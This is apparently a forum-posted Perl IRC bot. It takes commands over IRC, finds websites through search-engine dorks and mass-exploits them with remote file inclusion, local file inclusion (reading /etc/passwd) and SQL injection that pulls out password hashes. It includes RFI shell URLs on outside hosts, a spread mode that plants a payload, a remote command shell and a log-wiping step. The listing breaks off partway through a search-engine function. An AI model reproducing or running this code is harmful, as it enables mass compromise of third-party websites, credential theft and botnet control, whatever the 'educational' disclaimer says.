Код:
#!/usr/bin/perl 

  ##################################################################################### 
  ##                                                                                 ## 
  ##                                                                                 ## 
  ##                                                                   04/04/2008    ## 
  ##  Author  : watchdog                                                               ## 
  ##  Team    : SecurityTeam / Hackers Gr0up                                                  ## 
  ##  Ircd    : 84.19.176.186                                                        ## 
  ##  WebSite :                                                                      ## 
  ##  Contact : [url]http://security-sh3ll.com[/url]                                                ## 
  ##                                                                                 ## 
  ##  ## IMPORTANT ##                                                                ## 
  ##   # ONLY FOR EDUCATIONAL PURPOSE. THE AUTHOR IS NOT RESPONSABLE OF ANY          ## 
  ##   # IMPROPERLY USE OF THIS TOOL. USE IT AT YOUR OWN RISK !!                     ## 
  ##   # THIS TOOL HAS BEEN MADE TO HELP NET ADMINISTRATORS TO MAKE THEIR            ## 
  ##   # SYSTEM MORE SECURE.                                                         ## 
  ##  ##                                                                             ## 
  ##                                                                                 ## 
  ##  Release: v5 Private                                                            ## 
  ##    I coded this tool only for fun , anyway it works well ! This is a Private    ## 
  ##    Release, so if you have this Script, please, take care, and don't give it    ## 
  ##    anyone ! Thank you.                                                          ## 
  ##    It's a IrcBot. So, after connecting on your Ircd, you can scan for RFI,      ## 
  ##    LFI, SQL Injection on sites using dorks.                                     ## 
  ##    Anyway, u may know, that this one is the better bot ever created !           ## 
  ##    Be happy ! :D                                                                ## 
  ##                                                                                 ## 
  ##  Features:                                                                      ## 
  ##    [+]Sql Injection Scanner                                                     ## 
  ##    [+]Remote File Inclusion Scanner                                             ## 
  ##    [+]Local File Inclusion Scanner                                              ## 
  ##    [+]Integrated Shell, so you can execute commands on the server               ## 
  ##    [+]Security Mode to protect "dangerous" functions                            ## 
  ##    [+]Spread Mode, to activate or disable Spread Function                       ## 
  ##    [+]Bypass Engines ON: Google, Yahoo                                          ## 
  ##    !: To "bypass" these engines, the Scanner just looks for websites on other   ## 
  ##    engines that use the same bots than the main ones                            ## 
  ##                                                                                 ## 
  ##                                                                                 ## 
  ##################################################################################### 



### !!_/ PRIVATE 

use IO::Socket::INET; 
use HTTP::Request; 
use LWP::UserAgent; 

####################################################### 
## CONFIGURATION                                     // 
####################################################### 


my $id    = "http://lasekmu.co.cc/lase/id??"; #Your RFI Response 
my $shell = "http://geoities.com/miztic_hell/tulang.txt????"; #Shell printed on the Vulnerable Site 
my $ircd  = "irc.indoirc.net"; 
my $port  = "6667"; 
my $chan1 = "#indomirc"; #Chan for Scan 
my $chan2 = "#lase"; #bot will be printed here too 
my $nick="IndomIRC|".int(rand(99))."|"; # Scanner Nickname 
my $sqlpidpr0c = 1; # This is the number of sites that the bot will test in the same time. For an accurated scann, it's reccomended to set a low number(1)  
# (Expecially if you are scanning on 0day bugs), so a lot of presunted vulnerable sites. Unless you will see the bot exiting by an excess flood! 
# Instead, if you are scaning on old bugs, so not many results, you can put a higher number, so more speed. 
my $rfipidpr0c = 50; 

### USEFULL OPTIONS ( 0 => OFF  ;  1 => ON ) 

my $spread = "http://lasekmu.co.cc/lase/test.txt??"; 

my $spreadACT = 0; #0 ->disabled, 1 ->enabled 
my $securityACT = 0; #0 ->disabled, 1 ->enabled 

my $killpwd = "achap123"; #Password to Kill the Bot 
my $chidpwd = "achap123"; #Password to change the RFI Response 
my $cmdpwd = "achap123"; #Password to execute commands on the server 
my $secpwd = "achap123"; 
my $spreadpwd = "achap123"; 

my $badspreadpwd != $spreadpwd; 
my $badkillpwd != $killpwd; 
my $badidpwd != $chidpwd; 
my $badcmdpwd =! $cmdpwd; 


####################################################### 
## END OF CONFIGURATION                              // 
####################################################### 

open( $f1le, ">", "rip123.txt" ); 
print $f1le "\#!/usr/bin/perl\n"; 
print $f1le "exec(\"rm -rf \*log\*\")\;\n"; 
close $f1le; 


@help = ( 
"14[!] 6!response  14> 12Test if the RFI Response is working", 
"14[!] 6!chid <new rfi-id>  14> 12Change the RFI-Response", 
"14[!] 6!killme  14> 12KILL The Bot", 
"14[!] 6!new rfi bugs  14> 12Get the last 10 RFI bugs", 
"14[!] 6!new lfi bugs  14> 12Get the last 10 LFI bugs", 
"14[!] 6!new sql-inj bugs  14> 12Get the last 10 SQL Injection bugs", 
"14[!] 6!rfi <bug> <dork> -p <sites/proc>  14> 12Start the RFI Scanner", 
"14[!] 6!lfi <bug> <dork>  14> 12Start the LFI Scanner", 
"14[!] 6!sql <bug> <dork> -p <sites/proc>  14> 12Start the SQL Injection Scanner", 
"14[!] 6!cmd <bashline>  14> 12Gives command on the Bot's shell. Ex: (!cmd id) (!cmd uname -a)", 
"14[!] 6/msg $nick !Sec ON/OFF -p <pwd>  14> 12To enable or disable Security Mode", 
"14[!] 6!Spread ON/OFF  14> 12To enable or disable Spread Mode", 
"14[!] 6!info  14> 12Get infos about the Bot" 
); 

my $sys = `uname -a`; 
my $up = `uptime`; 

if ($spreadACT == 0) { 
    $t5 = "OFF"; 
} 
elsif ($spreadACT == 1) { 
    $t5 = "ON"; 
} 

if ($securityACT == 0) { 
    $y5 = "OFF"; 
} 
elsif ($securityACT == 1) { 
    $y5 = "ON"; 
} 


$k=0; 

if ( fork() == 0 ) { 
    &irc( $ircd, $port, $chan1, $chan2, $nick ); 
} 
else { 
    exit; 
} 

sub irc () { 
    my ( $ircd, $port, $chan1, $chan2, $nick ) = @_; 
    $c0n = IO::Socket::INET->new( 
        PeerAddr => "$ircd", 
        PeerPort => "$port", 
        Proto    => "tcp" 
    ) or die "Can not connect on server!\n"; 
    $c0n->autoflush(1); 
    print $c0n "NICK $nick\n"; 
    print $c0n "USER izzaura 8 *  : credit to d3v1l. modded by watchdog.\n"; 

    while ( $line = <$c0n> ) { 

        my $sys = `uname -a`; 
        my $up = `uptime`; 

        if ($spreadACT == 0) { 
            $t5 = "OFF"; 
        } 
        elsif ($spreadACT == 1) { 
            $t5 = "ON"; 
        } 

        if ($securityACT == 0) { 
            $y5 = "OFF"; 
        } 
        elsif ($securityACT == 1) { 
        $y5 = "ON"; 
        } 

        @info = ( 
         "14[i] 6Release 14:12 perl IRC bot v5.1", 
         "14[i] 6Author  14:12 d3v1l moded by watchdog", 
         "14[i] 6Contact 14:12 admin\@fuckyouandyourself.com", 
         "14[i] 6Uname -a14:12 $sys ", 
         "14[i] 6Uptime  14:12 $up ", 
         "14[i] 6Spread Mode1412 $t5 ", 
         "14[i] 6Security Mode14:12 $y5 " 
        ); 
         

        $k++; 



        if ( $line =~ /^PING :(.*)/ ) { 
            print $c0n "PONG :$1"; 
        } 



        if ( $line =~ /001/ ) { 
            print $c0n "JOIN $chan1\n"; 
            writ1("6perl IRC bot v5.1 4ON"); 
            writ1("6coded by d3v1l moded by watchdog"); 
            print $c0n "JOIN $chan2\n"; 
        } 



        if (( $line =~ /PRIVMSG $chan1 :!help/ ) && ($securityACT == 0)) { 
            @help; 
            foreach my $e(@help){ 
                writ1("$e"); 
            } 
        } 
        elsif (( $line =~ /PRIVMSG $chan1 :!help/ ) && ($securityACT == 1)) { 
            @help; 
            $help[1] = "14[!] 6/msg $nick !chid <new rfi-id> -p <pwd>  14> 12Change the RFI-Response"; 
            $help[2] = "14[!] 6/msg $nick !killme -p <pwd>  14> 12KILL The Bot"; 
            $help[9] = "14[!] 6/msg $nick !cmd <bashline> <pwd>  14> 12Gives command on the Bot's shell. Ex: (!cmd id)"; 
            $help[11] = "14[!] 6/msg $nick !Spread ON/OFF -p <pwd>  14> 12To enable or disable Spread Mode"; 
            foreach my $e(@help){ 
                writ1("$e"); 
            } 
        } 



        if ( $line =~ /PRIVMSG $chan1 :!info/) { 
            @info; 
            foreach my $n(@info) { 
                writ1("$n"); 
            } 
        } 


        if ( $line =~ /PRIVMSG $chan1 :!new rfi bugs/ ) { 
            my @re = query("nostrosito"); 
            writ1("14[15+14] 6Last 10 RFI bugs:"); 
            foreach my $n (@re) { 
                writ1("12$n"); 
            } 
        } 



        if ( $line =~ /PRIVMSG $chan1 :!new lfi bugs/ ) { 
            my @re = query("nostrosito"); 
            writ1("14[15+14] 6Last 10 LFI bugs:"); 
            foreach my $n (@re) { 
                writ1("12$n"); 
            } 
        } 



        if ( $line =~ /PRIVMSG $chan1 :!new sql-inj bugs/ ) { 
            my @re = query("nostrosito"); 
            writ1("14[15+14] 6Last 10 SQL Inj bugs:"); 
            foreach my $n (@re) { 
                writ1("12$n"); 
            } 
        } 



        if ( $line =~ /PRIVMSG $chan1 :!response/ ) { 
            my $re = query($id); 
            if ( $re =~ /d3v1l/ ) { 
                writ1("14[15+14]6 RFI Response is 12WORKING"); 
            } 
            else { 
                writ1("14[15-14]6 RFI Response is 12NOT WORKING"); 
            } 
        } 



        if (($line=~ /PRIVMSG $nick :!chids+(.*) -p $chidpwd/) && ($securityACT == 1)) { 
            $newid = $1; 
            $id = $newid; 
            writ1("14[15+14]6 RFI Response 12changed "); 
            writ1("14[15+14]6 New RFI Response: 12$id"); 
        } 
        elsif (($line=~ /PRIVMSG $nick :!chids+(.*) -p $badidpwd/) && ($securityACT == 1)) { 
            writ1("14[15-14]6 Error Changing the RFI-Response (bad Password)!"); 
        } 
        elsif (($line=~ /PRIVMSG $chan1 :!chids+(.*)/) && ($securityACT == 0)) { 
            $newid = $1; 
            $id = $newid; 
            writ1("14[15+14]6 RFI Response changed "); 
            writ1("14[15+14]6 New RFI Response: 12$id"); 
        } 



        if (($line=~ /PRIVMSG $nick :!killme -p $killpwd/) && ($securityACT == 1)) { 
            writ1("14[15!14]6 Bye!"); 
            print $c0n "QUIT"; 
            exec("perl rm.txt && pkill perl \n");  
        } 
        elsif (($line=~ /PRIVMSG $nick :!killme -p $badkillpwd/) && ($securityACT == 1)) { 
            writ1("14[15-14] 6Error Killing the Bot (Null or bad Password) !"); 
        } 
        elsif (($line=~ /PRIVMSG $chan1 :!killme/) && ($securityACT == 0)) { 
               writ1("14[15!14]6 Bye!"); 
               print $c0n "QUIT"; 
               exec("perl rm.txt && pkill perl \n");  
        } 



        if (($line=~ /PRIVMSG $nick :!cmds+(.*) -p $cmdpwd/) && ($securityACT == 1) && (fork() == 0)) { 
            my $cmd = $1; 
            if ($cmd =~ /cd (.*)/) { 
                chdir("$1") || priv8("Can't change dir");  
                return; 
            } 
            my @output = `$1`; 
            my $count = 0; 
            foreach my $out(@output) { 
                #$count++; 
                #if ($count == 5) { 
                    #sleep(3); 
                    #$count = 0; 
                #} 
                priv8("14[15+14]6 $out "); 
           } 
           exit; 
        } 
        elsif  (($line=~ /PRIVMSG $nick :!cmds+(.*) -p $badcmdpwd/) && ($securityACT == 1) && (fork() == 0)) { 
            priv8("14[15-14]6 Error using the shell (Null or bad Password) ! "); 
        } 
        elsif  (($line=~ /PRIVMSG $chan1 :!cmds+(.*)/) && ($securityACT == 0) && (fork() == 0)) { 
            my $cmd = $1; 
            if ($cmd =~ /cd (.*)/) { 
                $dir = $1; 
                chomp($dir); 
                chdir ($dir) || writ1("Can't change dir");  
            } 
            my @output = `$1`; 
            my $count = 0; 
            foreach my $out(@output) { 
                #$count++; 
                #if ($count == 5) { 
                    #sleep(3); 
                    #$count = 0; 
                #} 
                writ1("14[15+14]6 $out "); 
           } 
           exit; 
        } 



        if ($line=~ /PRIVMSG $nick :!Secs+(.*) -p $secpwd/) { 
            $s = $1; 
            if ($s =~ /ON/) { 
                $securityACT = 1; 
                writ1("14[15+14]6 Security Mode Activated !! "); 
            } 
            elsif ($s =~ /OFF/) { 
                $securityACT = 0; 
                writ1("14[15+14]6 Security Mode Disabled !! "); 
            } 
        } 



        if (($line=~ /PRIVMSG $nick :!Spreads+(.*) -p $spreadpwd/) && ($securityACT == 1)) { 
            $t = $1; 
            if ($t =~ /ON/) { 
                $spreadACT = 1; 
                writ1("14[15+14]6 Spread Mode Activated !! "); 
            } 
            elsif ($t =~ /OFF/) { 
                $spreadACT = 0; 
                writ1("14[15+14]6 Security Mode Disabled !! "); 
            } 
        } 
        elsif (($line=~ /PRIVMSG $nick :!Spreads+(.*) -p $badspreadpwd/) && ($securityACT == 1)) { 
            writ1("14[15-14]6 Error changing the Spread Mode (Null or bad Password) ! "); 
        } 
        elsif (($line=~ /PRIVMSG $chan1 :!Spreads+(.*)/) && ($securityACT == 0)) { 
            $t = $1; 
            if ($t =~ /ON/) { 
                $spreadACT = 1; 
                writ1("14[15+14]6 Spread Mode Activated !! "); 
            } 
            elsif ($t =~ /OFF/) { 
                $spreadACT = 0; 
                writ1("14[15+14]6 Spread Mode Disabled !! "); 
            } 
        } 



        if (($line =~ /PRIVMSG $chan1 :!rfis+(.*?)s+(.*)s+-p(.+[0-9])/) && (fork() == 0)) { 
            my ($bug, $dork, $rfipid) = ($1, $2, $3); 
            writ1("14[15*14]6 RFI Scan started 14->12 $rfipid sites/process"); 
            writ1("14[15+14]6 Bug:12 $bug "); 
            $d0rk = clean($dork); 
            writ1("14[15+14]6 Dork:12 $dork "); 
            my $a    = $k . "a"; 
            my $n4me = $a . "siti.txt"; 
            find($d0rk, $n4me); 
            rfi($bug, $n4me, $d0rk, $rfipid); 
            writ1("14[15-14]6 RFI Scan finished  14>12 $d0rk"); 
            writ1("14[15?14]6 #Coded by d3v1l moded by watchdog"); 
            exit(0); 
        } 





        if (($line =~ /PRIVMSG $chan1 :!lfis+(.*?)s+(.*)/) && (fork() == 0)) { 
            my ($bug, $dork) = ($1, $2); 
            writ1("14[15*14]6 RFI Scan started"); 
            writ1("14[15+14]6 Bug:12 $bug "); 
            $d0rk = clean($dork); 
            writ1("14[15+14]6 Dork:12 $dork "); 
            my $b    = $k . "b"; 
            my $n4me = $b . "siti.txt"; 
            find($d0rk, $n4me); 
            lfi($bug, $n4me, $d0rk); 
            writ1("14[15-14]6 LFI Scan finished  14>12 $d0rk"); 
            writ1("14[15?14]6 #Coded by d3v1l moded by watchdog"); 
            exit(0); 
        } 



        if (($line =~ /PRIVMSG $chan1 :!sqls+(.*?)s+(.*)s+-p(.+[0-9])/) && (fork() == 0)) { 
            my ($bug, $dork, $sqlpid) = ($1, $2, $3); 
            writ1("14[15*14]6 SQL Inj started 14->12 $sqlpid sites/process "); 
            writ1("14[15+14]6 Bug:12 $bug "); 
            $d0rk = clean($dork); 
            writ1("14[15+14]6 Dork:12 $dork "); 
            my $c    = $k . "c"; 
            my $n4me = $c . "siti.txt"; 
            find($d0rk, $n4me); 
            sql($bug, $n4me, $d0rk, $sqlpid); 
            writ1("14[15-14]6 SQL Inj finished  14>12 $d0rk"); 
            writ1("14[15?14]6 #Coded by d3v1l moded by watchdog"); 
            exit(0); 
        } 
    } 
} 




sub find () { 
    my $dork = $_[0]; 
    my $name = $_[1]; 
    my @engine; 
    $engine[0] = fork(); 
    if ( $engine[0] == 0 ) { 
        my @glist = google( $dork, $name ); 
        writ1("14[15~14] 6>GOOGLE :12  ". scalar(@glist). "  14>12  $dork" ); 
        exit; 
    } 
    $engine[1] = fork(); 
    if ( $engine[1] == 0 ) { 
        my @all = alltheweb( $dork, $name ); 
        writ1("14[15~14] 6>ALLTHEWEB :12  ". scalar(@all). "  14>12  $dork" ); 
        exit; 
   } 
    $engine[2] = fork(); 
    if ( $engine[2] == 0 ) { 
        my @alt = altavista( $dork, $name ); 
        writ1("14[15~14] 6>ALTAVISTA :12  ". scalar(@alt). "  14>12  $dork" ); 
        exit; 
    } 
    $engine[3] = fork(); 
    if ( $engine[3] == 0 ) { 
        my @emsn = msn( $dork, $name ); 
        writ1("14[15~14] 6>MSN :12  ". scalar(@emsn). "  14>12  $dork" ); 
        exit; 
    } 
    $engine[4] = fork(); 
    if ( $engine[4] == 0 ) { 
        my @ysites = yahoo( $dork, $name ); 
        writ1("14[15~14] 6>YAHOO :12  ". scalar(@ysites). "  14>12  $dork" ); 
        exit; 
    } 
    $engine[5] = fork(); 
    if ( $engine[5] == 0 ) { 
        my @asksites = ask( $dork, $name ); 
        writ1("14[15~14] 6>ASK :12  ". scalar(@asksites). "  14>12  $dork" ); 
        exit; 
    } 
    $engine[6] = fork(); 
    if ($engine[6] == 0) { 
        my @aolsites = aol($dork,$name); 
        writ1("14[15~14] 6>AOL :12  ". scalar(@aolsites). "  14>12  $dork" ); 
        exit; 
    } 
    $engine[7] = fork(); 
    if ( $engine[7] == 0 ) { 
        my @dmozsites = dmoz( $dork, $name ); 
        writ1("14[15~14] 6>DMOZ :12  ". scalar(@dmozsites). "  14>12  $dork" ); 
        exit; 
    } 
    $engine[8] = fork(); 
    if ($engine[8] == 0) { 
        my @webdesites = webde($dork,$name); 
        writ1("14[15~14] 6>WEB.DE :12  ". scalar(@webdesites). "  14>12  $dork" ); 
        exit; 
    } 
    $engine[9] = fork(); 
    if ($engine[9] == 0) { 
        my @einetsites = einet($dork,$name); 
        writ1("14[15~14] 6>eiNET.BET :12  ". scalar(@einetsites). "  14>12  $dork" ); 
        exit; 
    } 

    foreach my $e(@engine){ 
        waitpid($e,0); 
    } 

} 

sub rfi () { 
    my $bug  = $_[0]; 
    my $name = $_[1]; 
    my $dork = $_[2]; 
    my $rfipid = $_[3];  
    my @forks; 
    my $num = 0; 
    open( filez, '<', $name ); 
    while ( my $a = <filez> ) { 
        $a =~ s/n//g; 
        push( @tot, $a ); 
    } 
    close filez; 
    remove($name); 
    my @toexploit = unici(@tot); 
    writ1("14[15*14]6 >EXPLOITABLES:12    ". scalar(@toexploit). "  14>12  $dork" ); 
    sleep(1); 
    writ1("14[15+14]6 Exploiting STARTED !!" ); 
    foreach my $site (@toexploit) { 
        my $test  = "http://" . $site . $bug . $id . "??"; 
        print "$test\n"; 
        $count++; 
        if ( $count % $rfipid == 0 ) { 
        foreach my $f(@forks){ 
                waitpid($f,0); 
            } 
        $num = 0; 
        } 
        if($count %100 == 0){ 
            writ1("14[15%14]6 >Exploiting12    ". $count. "  14/12  ". scalar(@toexploit). " "); 
        } 
        $forks[$num]=fork(); 
        if($forks[$num] == 0){ 
            my $test  = "http://" . $site . $bug . $id . "??"; 
            my $print = "http://" . $site . $bug . $shell . "?"; 
            my $re    = query($test); 
            if ( $re =~ /d3v1l/ && $re =~ /uid=/ ) { 
                os($test); 
                writ1("6(12safe: 3OFF6) 6(12os:3 $os6)3 $print "); 
                writ1("6(12uname -a6)3  $un"); 
                writ1("6(12uid / gid6)3  $id1"); 
                writ1("6(12hdd space6)  12free: 6(3$free6) 12used: 6(3$used6) 12tot: 6(3$all6)"); 
                writ2(""); 
                writ2("6(12safe: 3OFF6) 6(12os:3 $os6)3 $print "); 
                writ2("6(12uname -a6)3  $un 6(12uid / gid6)3  $id1"); 
                if ( $spreadACT == 1 ) { 
                    writ1("14[15+14]6 Trying to spread .. "); 
                    sleep(2); 
                    my $test2 = "http://" . $site . $bug . $spread . "?"; 
                    my $reqz  = query($test2); 
                } 
            } 
            elsif ( $re =~ /d3v1l/ ) { 
                os($test); 
                writ1("6(safe: 4ON6) 6(os:4 $os6)4 $print "); 
                writ1("6(12uname -a6)4  $un"); 
                writ1("6(12uid / gid6)4  $id1"); 
                writ1("6(12hdd space6)  12free: 6(4$free6) 12used: 6(4$used6) 12tot: 6(4$all6)"); 
                writ2(""); 
                writ2("6(safe: 4ON6) 6(os:4 $os6)4 $print "); 
                if ( $spreadACT == 1 ) { 
                    writ1("14[15+14]6 Trying to spread .. "); 
                    sleep(2); 
                    my $test2 = "http://" . $site . $bug . $spread . "?"; 
                    my $reqz  = query($test2); 
                } 
            } 
            exit(0); 
        } 
        $num++; 
    } 
    foreach my $f(@forks){ 
    waitpid($f,0); 
    } 
} 

sub lfi () { 
    my $bug  = $_[0]; 
    my $name = $_[1]; 
    my $dork = $_[2]; 
    my @forks; 
    my $num = 0; 
    open( filez, '<', $name ); 
    while ( my $a = <filez> ) { 
        $a =~ s/n//g; 
        push( @tot, $a ); 
    } 
    close filez; 
    remove($name); 
    my @toexploit = unici(@tot); 
    writ1("14[15*14]6 >EXPLOITABLES:12    ". scalar(@toexploit). "  14>12  $dork" ); 
    writ1("14[15+14]6 Exploiting STARTED !!" ); 
    foreach my $site (@toexploit) { 
        $count++; 
        if ( $count % 100 == 0 ) { 
        foreach my $f(@forks){ 
                waitpid($f,0); 
            } 
        $num = 0; 
        } 
        if ( $count % 300 == 0 ) { 
            writ1("14[15%14]6 >Exploiting12    ". $count. "  14/12  ". scalar(@toexploit). ""); 
        } 
        $forks[$num]=fork(); 
        if($forks[$num] == 0){ 
            my $inj   = "../../../../../../../../../../../../../etc/passwd%00"; 
            my $test  = "http://" . $site . $bug . $inj; 
            my $print = "http://" . $site . $bug . $inj; 
            my $re    = query($test); 
            if ( $re =~ /root:x:/ ) { 
                writ1("6(12LFI6)3 $print"); 
                writ2("6(12LFI6)3 $print"); 
            } 
            exit(0); 
        } 
        $num++; 
    } 
    foreach my $f(@forks){ 
    waitpid($f,0); 
    } 
} 

sub sql () { 
    my $bug  = $_[0]; 
    my $name = $_[1]; 
    my $dork = $_[2];  
    my $sqlpid = $_[3];  
    my @forks; 
    my $num = 0; 
    open( filez, '<', $name ); 
    while ( my $a = <filez> ) { 
        $a =~ s/n//g; 
        push( @tot, $a ); 
    } 
    close filez; 
    remove($name); 
    my @toexploit = unici(@tot); 
    writ1("14[15*14]6 >EXPLOITABLES:12    ". scalar(@toexploit). "  14>12  $dork" ); 
    writ1("14[15+14]6 Exploiting STARTED !!" ); 
    foreach my $site (@toexploit) { 
        my $test  = "http://" . $site . $bug; 
        print "$test\n"; 
        $count++; 
        if($count %$sqlpid == 0){ 
        foreach my $f(@forks){ 
                waitpid($f,0); 
            } 
        $num = 0; 
    } 
        if($count %100 == 0){ 
            writ1("14[15%14]6 >Exploiting12    ". $count. "  14/12  ". scalar(@toexploit). " "); 
        } 
        $forks[$num]=fork(); 
        if($forks[$num] == 0){ 
            my $test  = "http://" . $site . $bug; 
            my $print = "http://" . $site . $bug; 
            my $re    = query($test); 
            if ( $re =~ /(.*):(.*)([0-9,a-f]{32})/ ) {  
                my ($user,$hash) = ($2,$3); 
                $user =~ s/<(.*)>//g; 
                if ($user !~ /(/|<|>|")/) { 
                    if ($sqlpid == $sqlpidpr0c) { 
                        writ1("6(12SQL INJ6)3 $print"); 
                        writ1("6(12User6)3 $user"); 
                        writ1("6(12Hash6)3 $hash"); 
                        writ2("6(12SQL INJ6)3 $print"); 
                    } 
                    elsif  ($sqlpid > $sqlpidpr0c) {  
                        writ1("6(12SQL INJ6)3 $print"); 
                    } 
                } 
            } 
            exit(0); 
        } 
        $num++; 
    } 
    foreach my $f(@forks){ 
    waitpid($f,0); 
    } 
} 

sub google () { 
    my @gsites; 
    my $key = $_[0]; 
    my $name = $_[1]; 
    my $gtest = ("www.google.com/search?q=hi&hl=en&start=10&sa=N"); 
    my $ret = query1($gtest); 
    if ($ret =~ /2008 Google/) { 
        @gsites = gfind($key,$name); 
    } 
    else { 
        writ1("14[15!14]4 Banned 6by Google Engine, trying to bypass it !"); 
        @gsites = gbypass($key,$name); 
    } 
    return @gsites; 
} 

sub gfind () { 
    my @list; 
    my $key = $_[0]; 
    my $name= $_[1]; 
    for ($p = 0;$p <= 900; $p += 100) { 
        my $g0gle = ("www.google.it/search?q=".key($key)."&num=100&hl=it&as_qdr=all&start=".$p."&sa=N"); 
        my $gr = query1($g0gle); 
        while ($gr =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) { 
            my $k = $1; 
            if ($k !~ /google/) { 
                my @grep = links($k); 
                open( $filez, ">>", $name ); 
                foreach my $k (@grep) { 
                    print $filez "$kn"; 
                } 
                close $filez; 
                push(@list, @grep); 
            } 
        } 
    } 
    return @list; 
} 

sub gbypass () { # Euroseek uses the same search type of google 
    my @lst; 
    my $key  = $_[0]; 
    my $name = $_[1]; 
    for ( $p = 0 ; $p <= 1000 ; $p += 10 ) { 
        my $gp = ("http://euroseek.com/system/search.cgi?language=en&mode=internet&start=".$p."&string=".key($key)); 
        my $re = query($gp); 
        while ($re =~ m/<a href="http:\/\/(.+?)\" class=\"searchlinklink\">/g ) { 
            my $k = $1; 
            my @grep = links($k); 
            open( $filez, ">>", $name ); 
            foreach my $k (@grep) { 
                print $filez "$kn"; 
            } 
            close $filez; 
            push( @lst, @grep ); 
        } 
    } 
    return @lst; 
} 

sub alltheweb() { 
    my @lst; 
    my $key  = $_[0]; 
    my $name = $_[1]; 
    for ( $i = 0 ; $i <= 1000 ; $i += 100 ) { 
        my $All = ( "http://www.alltheweb.com/search?cat=web&_sb_lang=any&hits=100&q=". key($key) . "&o=". $i ); 
        my $re = query($All); 
        while ( $re =~ m/<span class="?resURL\"?>http:\/\/(.+?)\<\/span>/g ) { 
            my $k = $1; 
            $k =~ s/ //g; 
            my @grep = links($k); 
            open( $filez, ">>", $name ); 
            foreach my $k (@grep) { 
                print $filez "$kn"; 
            } 
            close $filez; 
            push( @lst, @grep ); 
        } 
    } 
    return @lst; 
} 

sub altavista() { 
    my @lst; 
    my $key  = $_[0]; 
    my $name = $_[1]; 
    for ($b = 1;$b <= 1000;$b += 10) { 
        my $Alt = ( "http://it.altavista.com/web/results?itag=ody&kgs=0&kls=0&dis=1&q=". key($key) . "&stq=". $b ); 
        my $re = query($Alt); 
        while ( $re =~ m/<span class=ngrn>(.+?)//g ) { 
            if ( $1 !~ /altavista/ ) { 
                my $k = $1; 
                $k =~ s/<//g; 
                $k =~ s/ //g; 
                my @grep = links($k); 
                open( $filez, ">>", $name ); 
                foreach my $k (@grep) { 
                    print $filez "$k\n"; 
                } 
                close $filez; 
                push( @lst, @grep ); 
            } 
        } 
        if ( $re =~ /target="_self\">Succ/ ) { } 
        else { 
            return @lst; 
        } 
    } 
    return @lst; 
} 

sub msn() { 
    my @lst; 
    my $key  = $_[0]; 
    my $name = $_[1]; 
    for ( $b = 1 ; $b <= 1000 ; $b += 10 ) { 
        my $Msn = ( "http://search.live.com/results.aspx?q=". key($key). "&first=". $b. "&FORM=PERE" ); 
        my $re = query($Msn); 
        while ( $re =~ m/<a href="?http:\/\/([^>\"]*)\//g ) { 
            if ( $1 !~ /msn|live/ ) { 
                my $k    = $1; 
                my @grep = links($k); 
                open( $filez, ">>", $name ); 
                foreach my $k (@grep) { 
                    print $filez "$kn"; 
                } 
                close $filez; 
                push( @lst, @grep ); 
            } 
        } 
    } 
    return @lst; 
} 

sub yahoo () { 
    my @ysites; 
    my $key = $_[0]; 
    my $name = $_[1]; 
    my $ytest = ("http://www.search.yahoo.com/search?p=hello&ei=UTF-8&fr=yfp-t-501&fp_ip=IT&pstart=1&b=1"); 
    my $ret = query($ytest); 
    if ($ret =~ /We did not find results for/) { 
        return @ysites; 
    } 
    elsif ($ret =~ /title="Yahoo! Search results for hello\"/) { 
        @ysites = yfind($key,$name); 
        return @ysites; 
    } 
    else { 
        writ1("14[15!14]4 Banned 6by Yahoo Engine, trying to bypass it !"); 
        @ysites = ybypass($key,$name); 
        return @ysites; 
    } 
} 

sub yfind() { 
    my @lst; 
    my $key  = $_[0]; 
    my $name = $_[1]; 
        for ( $b = 1 ; $b <= 1000 ; $b += 10 ) { 
            my $ylink = ( "http://search.yahoo.com/search?p=".key($key)."&ei=UTF-8&fr=yfp-t-501&fp_ip=IT&pstart=1&b=".$b); 
            my $re = query($ylink); 
            while ( $re =~ m/<a class="yschttl\" href=\"http:\/\/(.+?)\" >/g ) { 
                my $k = $1; 
                if ($k !~ /yahoo|<b>/) { 
                    my @grep = links($k); 
                    open( $filez, ">>", $name ); 
                    foreach my $k (@grep) { 
                        print $filez "$kn"; 
                    } 
                    close $filez; 
                    push( @lst, @grep ); 
                } 
            } 
        } 
    return @lst; 
}   

sub ybypass () { # GoodSearch uses the same search type of Yahoo 
    my @lst; 
    my $key  = $_[0]; 
    my $name = $_[1]; 
    my $ybytest = ("http://www.goodsearch.com/Search.aspx?Keywords=".key($key)."&page=1&osmax=16"); 
    my $res = query($ybytest); 
    if ($res =~ /Your search did not yield any results/){ 
        return @lst; 
    } 
    else { 
        for $p(1..50){ 
            my $ybylink = ("http://www.goodsearch.com/Search.aspx?Keywords=".key($key)."&page=".$p."&osmax=16"); 
            my $rek = query($ybylink); 
            while ($rek =~ m/href="(.+?)\">(.+?)<\/a>/g) { 
                my $tsite = $2; 
                if (($tsite =~ /\./) && ($tsite !~ /<|>| /)){ 
                    my @grep = links($tsite); 
                    open( $filez, ">>", $name ); 
                    foreach my $tsite (@grep) { 
                        print $filez "$tsiten"; 
                    } 
                    close $filez; 
                    push( @lst, @grep );    
                }        
            } 
        } 
        return @lst; 
    } 
}  


sub ask () { 
    my $key = $_[0];  
    my $name = $_[1]; 
    my @lst; 
    my $askt = ("http://it.ask.com/web?q=".key($key)."&qsrc=1&o=312&l=dir&dm=all"); 
    my $asktest = query($askt); 
    if ($asktest =~ /non ha prodotto alcun risultato/) { 
        return @lst; 
    } 
    else { 
        for ($p=0;$p<=20;$p++){ 
            my $asklink = ("http://it.ask.com/web?q=".key($key)."&o=0&l=dir&qsrc=0&qid=612B74535B00F6CA7678625658F9B98C&dm=all&page=".$p); 
            my $re = query($asklink); 
            while($re =~ m/href="http:\/\/(.+?)\"/g){ 
                my $tsite = $1; 
                if ($tsite !~ /ask|wikipedia/){ 
                    my @grep = links($tsite); 
                    open( $filez, ">>", $name ); 
                    foreach my $tsite (@grep) { 
                        print $filez "$tsiten"; 
                    } 
                    close $filez; 
                    push( @lst, @grep ); 
                } 
            } 
        } 
        return @lst; 
    } 
} 

sub aol () { 
    my $key = $_[0];  
    my $name = $_[1]; 
    my @lst; 
    my $aolt = ("http://search.aol.com/aol/search?invocationType=topsearchbox.search&query=".key($key)); 
    my $atest = query($aolt); 
    if ($atest =~ /returned no results.</h3>/) { 
        return @lst; 
    } 
    else { 
        for ($p=1;$p<=100;$p++){ 
